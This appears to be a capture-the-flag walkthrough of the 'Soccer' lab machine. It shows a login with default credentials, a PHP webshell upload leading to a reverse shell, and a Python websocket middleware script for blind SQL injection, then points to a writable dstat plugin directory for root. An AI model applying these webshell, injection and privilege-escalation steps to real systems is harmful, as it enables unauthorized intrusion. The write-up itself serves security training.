We are able to login to http://soccer.htb/tiny/ by using the default credentials which are found on the Github Page.
Since this is a file manager we are able to upload files.
When visiting the folder tiny we see that php is supported :)
Webshell
Go to folder tiny -> uploads and upload a php webshell of your choice.
Reverse Shell
I used wwwolf-php-webshell as php webshell and got a reverse shell using a plain old well known payload
First we will register an account on that page. After signing in using our credentials we will be redirected to http://soc-player.soccer.htb/check.
Once we are on the /check page we'll inspect the development console of our browser which will tell us that a websocket is used to check our ticket
Request Headers
GET / HTTP/1.0Host:soc-player.soccer.htb:9091User-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0Accept:*/*Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateSec-WebSocket-Version:13Origin:http://soc-player.soccer.htbSec-WebSocket-Extensions:permessage-deflateSec-WebSocket-Key:mcOpNlaKDJoXjG4buopqeQ==Connection:keep-alive, UpgradeCookie:connect.sid=s%3ATtgCI2I1Ktr8efWAZeZYs3QraQ5hJR3V.3%2Fc3oeNjzabA2OGdmy%2BEOUM7I1AjcsrAeTEa0eP%2BRWUPragma:no-cacheCache-Control:no-cacheUpgrade:websocket
Since there is nothing else that caught my eye I digged around and found out that we probably could try to find a blind sql injection like described on Blind SQLI over Websocket
Blind SQLI
WS MIddleware Script
from http.server import SimpleHTTPRequestHandlerfrom socketserver import TCPServerfrom urllib.parse import unquote, urlparsefrom websocket import create_connectionws_server ="ws://soc-player.soccer.htb:9091/"defsend_ws(payload): ws =create_connection(ws_server)# If the server returns a response on connect, use below line#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here# For our case, format the payload in JSON message =unquote(payload).replace('"','\'')# replacing " with ' to avoid breaking JSON structure data ='{"id":"%s"}'% message ws.send(data) resp = ws.recv() ws.close()if resp:return respelse:return''defmiddleware_server(host_port,content_type="text/plain"):classCustomHandler(SimpleHTTPRequestHandler):defdo_GET(self) ->None: self.send_response(200)try: payload =urlparse(self.path).query.split('=',1)[1]exceptIndexError: payload =Falseif payload: content =send_ws(payload)else: content ='No parameters specified!' self.send_header("Content-type", content_type) self.end_headers() self.wfile.write(content.encode())returnclass_TCPServer(TCPServer): allow_reuse_address =True httpd =_TCPServer(host_port, CustomHandler) httpd.serve_forever()print("[+] Starting MiddleWare Server")print("[+] Send payloads in http://localhost:8081/?id=*")try:middleware_server(('0.0.0.0',8081))exceptKeyboardInterrupt:pass
We can use the credentials obtained through the database to connect as user player via ssh.
Last but not least we'll run linpeas to check for anything that could be used for further privilege escalation.
We don't see anythin interesting on the first look but notice a couple of things on a second look:
/usr/local/share/dstat is writeable to our user! That means we are able to create plugins